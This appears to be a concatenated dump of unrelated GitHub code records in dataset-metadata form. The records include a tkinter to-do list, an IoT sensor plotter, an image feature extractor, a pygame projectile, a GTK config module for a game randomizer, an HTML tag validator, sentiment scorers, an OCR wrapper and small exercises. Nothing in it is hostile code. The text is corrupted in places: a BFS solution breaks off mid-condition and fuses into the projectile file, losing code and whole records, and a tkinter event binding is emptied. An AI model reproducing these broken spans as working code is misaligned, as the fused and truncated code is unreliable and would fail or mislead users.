\n\"\"\"\ndef mark_task_complete():\n selection = task_list.curselection()\n if len(selection) == 0:\n messagebox.showerror(\"Error!\", \"No task selected!\")\n return\n task_index = selection[0]\n selected_task = task_list.get(task_index)\n print(\"complete\")\n \"\"\"\n# can double click to open additional infos \ntask_list.bind(\"\", more_info)\n \n# add button\nadd_button = Button(window, text=\"Add task\", command=add_task)\nadd_button.pack(side=LEFT, anchor=NW)\n# edit button\nedit_button = Button(window, text=\"Edit Task\", command=edit_task)\nedit_button.pack(side=LEFT, anchor=NW)\n# delete button\ndelete_button = Button(window, text=\"Delete\", command=delete_task)\ndelete_button.pack(side=LEFT, anchor=NW)\n# more info button\n#more_info_button = Button(window, text=\"More info\", command=more_info)\n#more_info_button.pack(side=LEFT, anchor=SW)\n# mark task complete button\n#task_complete_button = Button(window, text=\"Mark task complete\", command=mark_task_complete)\n#task_complete_button.pack(side=LEFT, anchir=SW)\n\nfile_menu = Menu(menu, font=(\"Arial\", 10))\n\n#* exit the program\ndef exit_program():\n window.destroy()\n \n# new task\ndef new_task_list():\n task_list.delete(0, END)\n additional_info.clear()\n dates.clear()\n# save task\ndef open_task_list():\n filename = filedialog.askopenfilename(filetypes=[(\"JSON files\", \"*.json\")])\n if not filename:\n return # User canceled open dialog\n\n with open(filename, 'r') as f:\n data = json.load(f)\n for task in data['tasks']:\n task_list.insert(END, task)\n additional_info[:] = data['additional_info']\n dates[:] = data['dates']\n# load task\ndef save_task_list():\n filename = filedialog.asksaveasfilename(defaultextension=\".json\", filetypes=[(\"JSON files\", \"*.json\")])\n if not filename:\n return # User canceled save dialog\n\n data = {\n 'tasks': list(task_list.get(0, END)), \n 'additional_info': additional_info, \n 'dates': dates\n }\n with open(filename, 'w') as f:\n json.dump(data, f)\n# files list\nfile_menu.add_command(label=\"New Task List\", command=new_task_list)\nfile_menu.add_command(label=\"Open Task List\", command=open_task_list)\nfile_menu.add_command(label=\"Save Task List\", command=save_task_list)\n\nfile_menu.add_separator()\nfile_menu.add_command(label=\"Exit\", command=exit_program)\nmenu.add_cascade(label=\"File\", menu=file_menu)\n\n#! has to exist\nwindow.mainloop()\n","repo_name":"RealBgDragon/First_Python_programs","sub_path":"to_do_list.py","file_name":"to_do_list.py","file_ext":"py","file_size_in_byte":7669,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"42560594401","text":"# %%\nimport pandas as pd\nimport requests\nimport plotly.graph_objects as go\nfrom plotly.subplots import make_subplots\n\ndef getdata(device=\"1DB09B\"):\n # %%\n URL = \"http://iot.ingeniatic.com/api/iot/\" + device\n response = requests.get(URL)\n print(response.status_code)\n json_data = (response.json())\n print(len(json_data))\n\n df = pd.DataFrame(json_data).drop([\n 'Payload',\n 'id_Sigfox',\n 'Field5',\n 'Field6',\n 'Field7',\n 'Field8',\n 'Field9',\n 'Field10',\n 'deleted_at',\n 'created_at'],\n axis=1)\n df.set_index('id', inplace=True)\n df.rename(columns = {'Field1':'Temperatura', 'Field2':'Humedad', \n 'Field3':'Luminosidad(%)', 'Field4': 'Volt.'}, inplace = True) \n # %%\n df.iloc[:,-1] = pd.to_datetime(df.iloc[:,-1])\n # %%\n list(df.iloc[:,-1])\n fig = make_subplots(rows=2, cols=2,\n subplot_titles=(\"Temperatura\", \"Humedad\", \"Luminoasidad(%)\", \"Volt.\"))\n fig.add_trace(go.Scatter(x=list(df.iloc[:,-1]), y=list(df.iloc[:,0])),row=1, col=1)\n fig.add_trace(go.Scatter(x=list(df.iloc[:,-1]), y=list(df.iloc[:,1])),row=1, col=2)\n fig.add_trace(go.Scatter(x=list(df.iloc[:,-1]), y=list(df.iloc[:,2])),row=2, col=1)\n fig.add_trace(go.Scatter(x=list(df.iloc[:,-1]), y=list(df.iloc[:,3])),row=2, col=2)\n\n fig.show()\n\nif __name__ == '__main__':\n getdata(device='1DB09B')\n","repo_name":"Kovaxs/SigFox_IoT","sub_path":"frontend/frontend.py","file_name":"frontend.py","file_ext":"py","file_size_in_byte":1472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21678947536","text":"#!/usr/bin/python3\n# https://pillow.readthedocs.io/en/stable/\nimport PIL\nfrom PIL import Image\nimport json\nimport numpy as np\nimport math\nimport cv2\nimport pickle\nimport time\nfrom datetime import datetime\nfrom matplotlib import pyplot as plt\nfrom shutil import copyfile\n\n\ndef getBucket(fw,sp):\n radius = 15\n if (math.pow(fw,2) + math.pow(sp,2) <= math.pow(radius,2)):\n return 4\n\n bin1Size = int((255*2+1)/3)\n bin1Num = int((fw+254)/bin1Size)\n\n bin2Size = int((150*2+1)/3)\n bin2Num = int((sp+149)/bin2Size)\n\n binNum = bin1Num + 3*bin2Num # 0,...,binNum\n\n if binNum == 3:\n if sp > 0:\n return 6\n return 0\n elif binNum == 4:\n if sp > 0:\n return 3\n return 5\n elif binNum == 5:\n if sp > 0:\n return 8\n return 2\n else:\n return binNum\n \ntry:\n with open (\"images/data.json\", \"r\") as myfile:\n data = ''.join(myfile.readlines())\n data = json.loads(data)\nexcept:\n data = []\n\n\narr = []\ngroup = []\n#groupF = []\nprev = 0\nlbls = []\nfor f in data:\n # Getting the image, equalizing it and then resizing.\n filename = f[\"Filename\"]\n #filename = filename.replace(\"_\",\":\")\n im = Image.open(\"images/\"+ filename + \".jpg\")\n im = im.convert(\"L\")\n im = im.resize((50,50),PIL.Image.NEAREST)\n im = np.asarray(im)\n image = cv2.equalizeHist(im)\n\n #Getting the flipped version of the image\n imageFlipped = np.flip(image,1).reshape(2500,-1)\n\n #Getting lbls\n forward = int(f[\"Forward\"])\n speed= int(f[\"Speed\"])\n label = getBucket(forward,speed)\n\n #Allows us to flip the bin \n flipLabel = [2,1,0,3,4,5,8,7,6]\n\n # Getting milliseconds of when image is take\n #imgDate = int(datetime.strptime(f[\"Image Time\"], '%d:%m:%y:%H:%M:%S:%f').strftime(\"%S\")) \n imgDate = time.mktime(datetime.strptime(f[\"Image Time\"], '%d:%m:%y:%H:%M:%S:%f').timetuple())\n #print(f[\"Image Time\"])\n #print(imgDate)\n #print((imgDate,prev))\n if prev == 0 or abs(imgDate - prev) <= 2:\n #Image corresponds to current group and so appending it their\n group.append([image.flatten().tolist(),label])\n #print(imgDate)\n #groupF.append([imageFlipped.flatten().tolist(),flipLabel[label]])\n else:\n #Image does not correspond to current group and so making a new group\n print(prev)\n print(imgDate)\n print(\"------------------------------\")\n arr.append(group)\n #arr.append(groupF)\n group = [[image.flatten().tolist(),label]]\n #group = []\n #groupF = []\n prev = imgDate\n \narr.append(group)\n#arr.append(groupF)\nprint(len(arr))\nprint(lbls)\n\nwith open('features.txt', 'wb') as fp:\n pickle.dump(arr, fp)\n","repo_name":"RoboticsCourse/Keras-Neural-Network","sub_path":"mlDrivingDirections/extractFeatures1.py","file_name":"extractFeatures1.py","file_ext":"py","file_size_in_byte":2734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70576375147","text":"def solution(maps):\n from collections import deque\n \n n, m = len(maps), len(maps[0])\n deq = deque([[0, 0]])\n maps[0][0] = 1\n dirs = ((1, 0), (-1, 0), (0, 1), (0, -1))\n while deq:\n if maps[n-1][m-1] != 1:\n break\n \n now_x, now_y = deq.popleft()\n for dir_x, dir_y in dirs:\n next_x, next_y = now_x + dir_x, now_y + dir_y\n if 0<=next_x 1080:\n # remove the projectile from the screen\n self.remove()","repo_name":"Shunkashuu/pygame-comet","sub_path":"projectile.py","file_name":"projectile.py","file_ext":"py","file_size_in_byte":1443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"14805287375","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport sys,os\nsys.path.append(os.path.dirname(__file__) + os.sep + '../')\nfrom FINDER import FINDER\nfrom tqdm import tqdm\n\n\ndef main():\n dqn = FINDER()\n data_test_path = './data/synthetic/'\n data_test_name = ['test']\n model_file = './models/Model_barabasi_albert/nrange_150_250_iter_103800.ckpt'\n\n file_path = './results'\n\n if not os.path.exists('./results/'):\n os.mkdir('./results/')\n # if not os.path.exists('../results/FINDER_ND/synthetic'):\n # os.mkdir('../results/FINDER_ND/synthetic')\n \n for file in [file for file in os.listdir(\"input/ba_graph/\") if file.endswith('.txt')]:\n with open(f\"results/{file}\", 'w') as fout:\n val, sol = dqn.Evaluate(f\"input/ba_graph/{file}\", model_file)\n for i, s in enumerate(sol):\n fout.write(f'{i}, {s}\\n')\n fout.flush()\n print(file, \"done\")\n\nif __name__==\"__main__\":\n main()\n","repo_name":"johnny890122/FINDER_deploy","sub_path":"testSynthetic.py","file_name":"testSynthetic.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"14709378186","text":"import sys\nfrom enum import Enum\nfrom functools import partial\nfrom numbers import Number\nfrom typing import List, Dict, cast\n\nimport strictyaml\nfrom gi.repository import Gtk, GtkSource\nfrom jsonschema import validate\nfrom range_typed_integers import u8, u16, u32\n\nfrom skytemple_files.common.ppmdu_config.dungeon_data import Pmd2DungeonDungeon, Pmd2DungeonItem, \\\n Pmd2DungeonItemCategory\nfrom skytemple_files.data.md.protocol import Ability\nfrom skytemple_files.dungeon_data.mappa_bin.protocol import MAX_ITEM_ID\nfrom skytemple_randomizer.config import RandomizerConfig, CLASSREF, DungeonSettingsConfig, IntRange, QuizQuestion, \\\n QUIZ_QUESTIONS_JSON_SCHEMA\nfrom skytemple_randomizer.frontend.gtk.ui_util import builder_get_assert, builder_get_assert_exist, iter_tree_model\nfrom skytemple_randomizer.lists import MOVES, MONSTERS\nfrom skytemple_randomizer.randomizer.common.items import ALLOWED_ITEM_CATS\n\n\ndef is_int(typ):\n return typ == int or typ == u8 or typ == u16 or typ == u32\n\n\nclass ConfigUIApplier:\n \"\"\"Applies configuration to the UI widgets.\"\"\"\n def __init__(\n self,\n builder: Gtk.Builder,\n dungeons: List[Pmd2DungeonDungeon],\n items: List[Pmd2DungeonItem],\n item_cats: Dict[int, Pmd2DungeonItemCategory]\n ):\n self.builder = builder\n self.dungeons = dungeons\n self.items = items\n self.item_cats = item_cats\n\n def apply(self, config: RandomizerConfig):\n builder_get_assert(self.builder, Gtk.ListStore, 'store_tree_dungeons_dungeons').clear()\n builder_get_assert(self.builder, Gtk.ListStore, 'store_tree_monsters_abilities').clear()\n builder_get_assert(self.builder, Gtk.ListStore, 'store_tree_monsters_monsters').clear()\n builder_get_assert(self.builder, Gtk.ListStore, 'store_tree_monsters_moves').clear()\n builder_get_assert(self.builder, Gtk.ListStore, 'store_tree_dungeons_items').clear()\n builder_get_assert(self.builder, Gtk.ListStore, 'store_tree_item_weights').clear()\n builder_get_assert(self.builder, Gtk.ListStore, 'store_tree_monsters_starters').clear()\n self._handle(config)\n\n def _handle(self, config, field_name=None):\n if isinstance(config, dict) and CLASSREF in config:\n typ = config[CLASSREF]\n else:\n typ = config.__class__\n if typ == list and field_name == 'quiz_questions':\n buffer: GtkSource.Buffer = builder_get_assert(self.builder, GtkSource.View, 'text_quiz_content').get_buffer()\n validate(config, QUIZ_QUESTIONS_JSON_SCHEMA)\n buffer.set_text(strictyaml.as_document(config).as_yaml())\n elif hasattr(typ, '__bases__') and dict in typ.__bases__ and len(typ.__annotations__) > 0:\n for field, field_type in typ.__annotations__.items():\n field_full = field\n if field_name is not None:\n field_full = field_name + '_' + field\n self._handle(config[field], field_full)\n elif hasattr(typ, '__bases__') and Enum in typ.__bases__:\n self._handle(config.value, field_name)\n elif typ == bool:\n assert field_name, \"Field name must be set for primitive\"\n w1 = builder_get_assert_exist(self.builder, Gtk.Switch, 'switch_' + field_name)\n w1.set_active(config)\n elif is_int(typ):\n assert field_name, \"Field name must be set for primitive\"\n w2 = builder_get_assert_exist(self.builder, Gtk.ComboBox, 'cb_' + field_name)\n w2.set_active_id(str(config))\n elif typ == IntRange:\n assert field_name, \"Field name must be set for primitive\"\n w3 = builder_get_assert_exist(self.builder, Gtk.Scale, 'scale_' + field_name)\n w3.set_value(getattr(config, 'value'))\n elif typ == str:\n assert field_name, \"Field name must be set for primitive\"\n try:\n w4 = builder_get_assert_exist(self.builder, Gtk.Entry, 'entry_' + field_name)\n w4.set_text(config)\n except ValueError:\n w5 = builder_get_assert_exist(self.builder, Gtk.TextView, 'text_' + field_name)\n w5.get_buffer().set_text(config)\n elif typ == dict and len(config) > 0 and isinstance(next(iter(config.values())), dict):\n # DUNGEON SETTINGS\n w6 = builder_get_assert_exist(self.builder, Gtk.TreeView, 'tree_' + field_name)\n s6 = cast(Gtk.ListStore, w6.get_model())\n for idx, settings in config.items():\n settings6 = cast(DungeonSettingsConfig, settings)\n s6.append([idx, self._get_dungeon_name(idx), settings6['randomize'], settings6['monster_houses'],\n settings6['randomize_weather'], settings6['unlock'], settings6['enemy_iq']])\n elif typ == dict and len(config) > 0 and isinstance(next(iter(config.values())), Number):\n # ITEM WEIGHTS\n w7 = builder_get_assert_exist(self.builder, Gtk.TreeView, 'tree_' + field_name)\n s7 = cast(Gtk.ListStore, w7.get_model())\n for idx, weight in config.items():\n idx = int(idx)\n if idx in ALLOWED_ITEM_CATS:\n s7.append([idx, self._get_cat_name(idx), str(weight)])\n elif typ == list and (len(config) < 1 or isinstance(next(iter(config)), int)):\n w8: Gtk.TreeView = builder_get_assert_exist(self.builder, Gtk.TreeView, 'tree_' + field_name)\n s8 = cast(Gtk.ListStore, w8.get_model())\n if field_name == 'pokemon_abilities_enabled':\n for a in Ability:\n if a.value != 0xFF:\n s8.append([a.value, a.print_name, a.value in config])\n elif field_name == 'dungeons_items_enabled':\n for item in self.items:\n if item.id <= MAX_ITEM_ID:\n s8.append([item.id, item.name, item.id in config])\n elif field_name == 'pokemon_moves_enabled':\n for a_mov, name in MOVES.items():\n s8.append([a_mov, name, a_mov in config])\n elif field_name == 'pokemon_monsters_enabled':\n for a_mon, name in MONSTERS.items():\n s8.append([a_mon, name, a_mon in config])\n elif field_name == 'pokemon_starters_enabled':\n for a_itm, name in MONSTERS.items():\n s8.append([a_itm, name, a_itm in config])\n else:\n raise TypeError(f\"Unknown type for {self.__class__.__name__}: {typ}\")\n\n def _get_dungeon_name(self, idx):\n return self.dungeons[idx].name\n\n def _get_cat_name(self, idx):\n return self.item_cats[idx].name\n\n\nclass ConfigUIReader:\n \"\"\"Loads configuration from the UI widgets.\"\"\"\n def __init__(self, builder: Gtk.Builder):\n self.builder = builder\n\n def read(self) -> RandomizerConfig:\n return self._handle(RandomizerConfig)\n\n def _handle(self, typ: type, field_name=None):\n if typ == List[QuizQuestion]:\n buffer = builder_get_assert(self.builder, GtkSource.View, 'text_quiz_content').get_buffer()\n yaml_content = buffer.get_text(buffer.get_start_iter(), buffer.get_end_iter(), False)\n yaml_obj = strictyaml.load(yaml_content).data\n validate(yaml_obj, QUIZ_QUESTIONS_JSON_SCHEMA)\n return yaml_obj\n if hasattr(typ, '__bases__') and dict in typ.__bases__ and len(typ.__annotations__) > 0:\n d = {}\n for field, field_type in typ.__annotations__.items():\n field_full = field\n if field_name is not None:\n field_full = field_name + '_' + field\n d[field] = self._handle(field_type, field_full)\n return d\n elif hasattr(typ, '__bases__') and Enum in typ.__bases__:\n return typ(self._handle(int, field_name))\n elif typ == bool:\n assert field_name, \"Field name must be set for primitive\"\n w1 = builder_get_assert_exist(self.builder, Gtk.Switch, 'switch_' + field_name)\n return w1.get_active()\n elif is_int(typ):\n assert field_name, \"Field name must be set for primitive\"\n w2 = builder_get_assert_exist(self.builder, Gtk.ComboBox, 'cb_' + field_name)\n active = w2.get_active_id()\n if active:\n return int(active)\n return 0\n elif typ == IntRange:\n assert field_name, \"Field name must be set for primitive\"\n w3 = builder_get_assert_exist(self.builder, Gtk.Scale, 'scale_' + field_name)\n return typ(int(w3.get_value()))\n elif typ == str:\n assert field_name, \"Field name must be set for primitive\"\n try:\n w4 = builder_get_assert_exist(self.builder, Gtk.Entry, 'entry_' + field_name)\n return w4.get_text()\n except ValueError:\n w5 = builder_get_assert_exist(self.builder, Gtk.TextView, 'text_' + field_name)\n buffer5 = w5.get_buffer()\n return buffer5.get_text(buffer5.get_start_iter(), buffer5.get_end_iter(), False)\n elif typ == Dict[int, DungeonSettingsConfig]:\n w6 = builder_get_assert_exist(self.builder, Gtk.TreeView, 'tree_' + field_name)\n s6 = cast(Gtk.ListStore, w6.get_model())\n d = {}\n for idx, name, randomize, monster_houses, randomize_weather, unlock, enemy_iq in iter_tree_model(s6):\n d[idx] = {'randomize': randomize, 'monster_houses': monster_houses,\n 'randomize_weather': randomize_weather, 'unlock': unlock, 'enemy_iq': enemy_iq}\n return d\n elif typ == Dict[int, Number]:\n w7 = builder_get_assert_exist(self.builder, Gtk.TreeView, 'tree_' + field_name)\n s7 = cast(Gtk.ListStore, w7.get_model())\n d = {}\n for idx, name, weight in iter_tree_model(s7):\n d[idx] = float(weight)\n return d\n elif typ.__name__.lower() == \"list\" and is_int(typ.__args__[0]): # type: ignore\n w8 = builder_get_assert_exist(self.builder, Gtk.TreeView, 'tree_' + field_name)\n s8 = cast(Gtk.ListStore, w8.get_model())\n dd: List[int] = []\n for idx, name, use in iter_tree_model(s8):\n if use:\n dd.append(idx)\n return dd\n else:\n raise TypeError(f\"Unknown type for {self.__name__}: {typ}\") # type: ignore\n\n\nclass ConfigDocApplier:\n \"\"\"Connects the help buttons with the text of the *Doc classes.\"\"\"\n def __init__(self, window, builder: Gtk.Builder):\n self.window = window\n self.builder = builder\n\n def apply(self):\n return self._handle(type(None), RandomizerConfig)\n\n def _handle(self, parent_typ: type, typ: type, field_name=None, field_name_short=None):\n if hasattr(typ, '__bases__') and dict in typ.__bases__ and len(typ.__annotations__) > 0:\n for field, field_type in typ.__annotations__.items():\n field_full = field\n if field_name is not None:\n field_full = field_name + '_' + field\n self._handle(typ, field_type, field_full, field)\n if hasattr(parent_typ, '__name__'):\n current_module = sys.modules['skytemple_randomizer.config']\n if parent_typ.__name__ + 'Doc' in current_module.__dict__:\n cls = current_module.__dict__[parent_typ.__name__ + 'Doc']\n if field_name_short in cls.__dict__:\n help_name = 'help_' + field_name\n help_btn = self.builder.get_object(help_name)\n if not help_btn:\n raise ValueError(f\"Help button {help_name} not found.\")\n help_btn.connect('clicked', partial(\n self.show_help, '\\n'.join([line.strip() for line in cls.__dict__[field_name_short].splitlines()])\n ))\n\n def show_help(self, info, *args):\n md = Gtk.MessageDialog(parent=self.window,\n destroy_with_parent=True,\n message_type=Gtk.MessageType.INFO,\n buttons=Gtk.ButtonsType.OK,\n text=info)\n md.run()\n md.destroy()\n","repo_name":"SkyTemple/skytemple-randomizer","sub_path":"skytemple_randomizer/frontend/gtk/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":12447,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"37"} +{"seq_id":"70520656109","text":"from Stack import Stack\nfrom html.parser import HTMLParser\n\nclass MyHtmlParser(HTMLParser):\n def __init__(self, *, convert_charrefs: bool = ...) -> None:\n super().__init__(convert_charrefs=convert_charrefs)\n self.rawdata = ''\n self.stack = Stack()\n self.unclosed_tag = ''\n \n def handle_starttag(self, tag, attrs):\n if not tag in ['meta']:\n self.stack.push(tag)\n return(f\"Pushed Start Tag: {tag}\")\n\n def handle_endtag(self, tag):\n if tag == self.stack.peek():\n self.stack.pop()\n return(f\"Popped End Tag: {tag}\")\n else:\n if self.unclosed_tag == '':\n self.unclosed_tag = self.stack.peek()\n\n def validate_text(self):\n\n if self.unclosed_tag == '':\n return 'Valid HTML'\n else:\n return f'Invalid HTML, mismatched opening and closing for tag \"<{self.unclosed_tag}>\"'\n\nclass HtmlValidator():\n def __init__(self) -> None:\n self.file_path = None\n self.read_text = ''\n self.import_file()\n self.read_file()\n htmlParser = MyHtmlParser()\n htmlParser.feed(self.read_text)\n print(htmlParser.validate_text())\n return\n def import_file(self):\n self.file_path = input('Enter path of the Html File: \\n')\n\n def read_file(self):\n with open(self.file_path) as f:\n self.read_text = f.read()\n\n def return_calss(self):\n return\n # self.html_tags = re.findall(self.html_tag_regex, self.read_text)\n\nhtmlValidator = HtmlValidator()\n\n# C:\\Users\\user\\Documents\\Python\\linkedListStack\\sampleHtmlFile.html","repo_name":"jetsstarplus/Stack-Data-Structure","sub_path":"html_validator.py","file_name":"html_validator.py","file_ext":"py","file_size_in_byte":1645,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"37784012668","text":"# from tools import secure_import\n\n# method may be 'vader', 'lr' or 'lr-advanced', spark is SparkSesision\ndef score_text(text, method='vader', pipelineModel=None, lrModel=None, spark=None):\n if pipelineModel is not None and lrModel is not None and spark is not None:\n if method == 'lr':\n return lr_scorer(text, lrModel, pipelineModel, spark)\n if method == 'lr-advanced':\n return lr_advanced_scorer(text, lrModel, pipelineModel, spark)\n else:\n return vader_scorer(text)\n \ndef vader_scorer(text):\n from nltk.sentiment.vader import SentimentIntensityAnalyzer\n sid = SentimentIntensityAnalyzer()\n score = sid.polarity_scores(text)\n return score[\"compound\"]\n\ndef lr_scorer(text, lrModel, pipelineModel, spark):\n df = spark.createDataFrame([(text, 2)], ['text', 'target'])\n df_transformed = pipelineModel.transform(df) # To fix\n predictions = lrModel.transform(df_transformed)\n predictions = predictions.select(['text', 'probability', 'prediction'])\n pd_predictions = predictions.toPandas()\n positive_probability = pd_predictions.iloc[0]['probability'][1]\n overall_probability = 2 * positive_probability - 1 \n return overall_probability\n\ndef lr_advanced_scorer(text, lrModel, pipelineModel, spark):\n from numpy import mean as mean\n from nltk import tokenize\n sentences = tokenize.sent_tokenize(text)\n return mean([ lr_scorer(s, lrModel, pipelineModel, spark) for s in sentences])","repo_name":"OlehOnyshchak/WikiSentimentRanking","sub_path":"spark_app/scorers.py","file_name":"scorers.py","file_ext":"py","file_size_in_byte":1476,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"22790213509","text":"import click\nimport cv2\nimport trocr\nfrom craft import craft\nfrom PIL import Image\nfrom typing import List\n\nDEFAULT_LINE_RANGE = 70\nDEFAULT_MARGIN = 7\n\n\ndef scan(image_src, margin: int = DEFAULT_MARGIN, trocr_pretrained: str = None):\n \"\"\"\n Main method for apply Optical Character Recognition\n \"\"\"\n image = cv2.imread(image_src)\n height = image.shape[0]\n width = image.shape[1]\n craft_boxes = craft(image)\n text = []\n processor = trocr.get_processor() if trocr_pretrained is None else trocr.get_processor(trocr_pretrained)\n model = trocr.get_model() if trocr_pretrained is None else trocr.get_model(trocr_pretrained)\n click.echo(f\"height {height} and width {width}\", err=True)\n for unit in craft_boxes:\n try:\n x1 = unit.x1\n x2 = unit.x2\n y1 = unit.y1\n y2 = unit.y2\n click.echo(f\"Unit ({x1}, {y1}) ({x2}, {y2})\", err=True)\n if x1 != x2 or y1 != y2:\n final_y1 = y1 - margin if y1 - margin > 0 else 0\n final_x1 = x1 - margin if x1 - margin > 0 else 0\n final_x2 = x2 + margin if x2 + margin <= width else width\n final_y2 = y2 + margin if y2 + margin <= height else height\n click.echo(f\"fUnit ({final_x1}, {final_y1}) ({final_x2}, {final_y2})\", err=True)\n crop_img = image[final_y1:final_y2, final_x1:final_x2]\n text_found = trocr.scan(Image.fromarray(crop_img), processor, model)\n text.append(TextCoordinates(text_found, Coord(x1, y1), Coord(x2, y2)))\n except ValueError:\n click.echo(\"Error \", err=True)\n return Result(text)\n\n\nclass Coord:\n \"\"\"\n Object that represents the cartesian coordinates. The first pixel of a image will be 0,0.\n \"\"\"\n def __init__(self, x, y):\n self.x = x\n self.y = y\n\n def to_json(self):\n return {\"x\": self.x,\n \"y\": self.y}\n\n\nclass TextCoordinates:\n \"\"\"\n This object contains some text in the image and its cartesian coordinates.\n The two pairs of cartesian coordinates represent the box that contains the text\n \"\"\"\n def __init__(self, text, coord_1: Coord, coord_2: Coord):\n self.text = text\n self.coord_1 = coord_1\n self.coord_2 = coord_2\n\n def to_json(self):\n return {\"text\": self.text,\n \"1\": self.coord_1.to_json(),\n \"2\": self.coord_2.to_json()}\n\n\nclass Result:\n \"\"\"\n Object returned at the end of the operation with all the information\n \"\"\"\n def __init__(self, parts):\n self.parts = parts\n\n def to_json(self, line_range: int = DEFAULT_LINE_RANGE):\n return {\"parts\": [i.to_json() for i in self.parts],\n \"lines\": [i.to_json() for i in self.get_lines(line_range)]}\n\n def get_lines(self, line_range: int = DEFAULT_LINE_RANGE):\n lines: List[Line] = []\n for part in self.parts:\n coincidence: Line = next((l for l in lines if l.overlaps(part, line_range)), None)\n if coincidence is None:\n lines.append(Line(part))\n else:\n coincidence.append(part)\n return lines\n\n\nclass Line:\n \"\"\"\n The line is a group of TextCoordinates. This object composes the text of a line\n \"\"\"\n def __init__(self, part: TextCoordinates):\n self.start = part.coord_1.y if part.coord_1.y <= part.coord_2.y else part.coord_2.y\n self.end = part.coord_2.y if part.coord_1.y <= part.coord_2.y else part.coord_1.y\n self.parts = [part]\n\n def append(self, part: TextCoordinates):\n start = part.coord_1.y if part.coord_1.y <= part.coord_2.y else part.coord_2.y\n end = part.coord_2.y if part.coord_1.y <= part.coord_2.y else part.coord_1.y\n if start < self.start:\n self.start = start\n if end > self.end:\n self.end = end\n self.parts.append(part)\n\n def overlaps(self, part: TextCoordinates, line_range: int):\n coord_start = part.coord_1.y if part.coord_1.y <= part.coord_2.y else part.coord_2.y\n coord_end = part.coord_2.y if part.coord_1.y <= part.coord_2.y else part.coord_1.y\n return abs(coord_start - self.start) + abs(coord_end - self.end) < line_range\n\n def get_text(self):\n def get_x(val: TextCoordinates):\n return val.coord_1.x\n\n self.parts.sort(key=get_x)\n return ' '.join([t.text for t in self.parts])\n\n def to_json(self):\n return {\"start_x\": self.start,\n \"end_x\": self.end,\n \"text\": self.get_text()}\n","repo_name":"drenedo/receipt-reader","sub_path":"ocr.py","file_name":"ocr.py","file_ext":"py","file_size_in_byte":4589,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"} +{"seq_id":"20676919913","text":"# Given three integer arrays arr1, arr2 and arr3 sorted in strictly increasing order, return a sorted array of only the integers that appeared in all three arrays.\n\n\n# Example 1:\n\n# Input: arr1 = [1,2,3,4,5], arr2 = [1,2,5,7,9], arr3 = [1,3,4,5,8]\n# Output: [1,5]\n# Explanation: Only 1 and 5 appeared in the three arrays.\n# Example 2:\n\n# Input: arr1 = [197,418,523,876,1356], arr2 = [501,880,1593,1710,1870], arr3 = [521,682,1337,1395,1764]\n# Output: []\n\n\n# Constraints:\n\n# 1 <= arr1.length, arr2.length, arr3.length <= 1000\n# 1 <= arr1[i], arr2[i], arr3[i] <= 2000\n\ndef arraysIntersection(arr1, arr2, arr3):\n\n result = []\n\n for element in arr1:\n if element in arr2 and element in arr3:\n result.append(element)\n\n return result\n","repo_name":"jonnynotbravo/DS-Algos","sub_path":"Intersection of Three Sorted Arrays.py","file_name":"Intersection of Three Sorted Arrays.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6981825946","text":"from threading import Thread, Lock\r\nimport time\r\nimport random\r\nN = 0\r\nlock = Lock()\r\ndef worker(R):\r\n global N\r\n M = N\r\n N = M + 2**R\r\n lock.acquire() # enter safe region\r\n f = open(\"D://Temp//paralelx.txt\", \"a\")\r\n f.write(str(N)+\"\\n\")\r\n #time.sleep(random.randint(0,5))\r\n f.close()\r\n lock.release() # leave safe region\r\n return\r\n\r\nthreads = []\r\nfor i in range(15):\r\n t = Thread(target=worker, args=([i]))\r\n t.start()\r\n threads.append(t)\r\n\r\n# wait until they finish\r\nfor t in threads:\r\n t.join()\r\n\r\nprint(f\"Value of N is: {N}\")","repo_name":"hocaoglumf/Modeling-Simulation","sub_path":"Multithread/Lock-0.py","file_name":"Lock-0.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"22597343128","text":"from __future__ import annotations\n\nfrom typing import Any\n\nimport numpy as np\n\n\nclass Point:\n\n def __init__(self, location: list, x: float = None, y: float = None, z: float = None) -> None:\n if x and y and z:\n self.x = x\n self.y = y\n self.z = z\n self.location = (x, y, z)\n else:\n self.x = location[0]\n self.y = location[1]\n self.z = location[2]\n self.location = location\n\n def __call__(self, *args: Any, **kwds: Any) -> tuple:\n return self.location\n\n def __repr__(self) -> str:\n return f\"\"\n\n def find_neighbouring_vertices(self, point_cloud: np.array, radius: float) -> np.array:\n \"\"\"\n Find the neighbouring vertices within a certain radius\n :param point_cloud: The point cloud to find neighbours within\n :param radius: The radius to search for neighbours\n :return: An array of neighbouring points in the radius\n \"\"\"\n\n neighbours = []\n\n for point in point_cloud:\n if point == self:\n continue\n distance = self.distance_to_point(point)\n if distance < radius:\n neighbours.append(point)\n\n return np.array(neighbours)\n\n def find_neighbouring_vertices_with_distance(self, point_cloud: np.array, radius: float) -> np.array:\n \"\"\"\n Find the neighbouring vertices within a certain radius\n :param point_cloud: The point cloud to find neighbours within\n :param radius: The radius to search for neighbours\n :return: An array of neighbouring points in the radius with distances\n \"\"\"\n\n neighbours = []\n distances = []\n\n for point in point_cloud:\n if point == self:\n continue\n distance = self.distance_to_point(point)\n if distance < radius:\n neighbours.append(point)\n distances.append(distance)\n\n return np.array(neighbours), np.array(distances)\n\n def distance_to_point(self, point) -> float:\n \"\"\"\n Find distance of a point in relation to this point\n :param point: Point to compare location to\n :return: distance to \n \"\"\"\n\n # 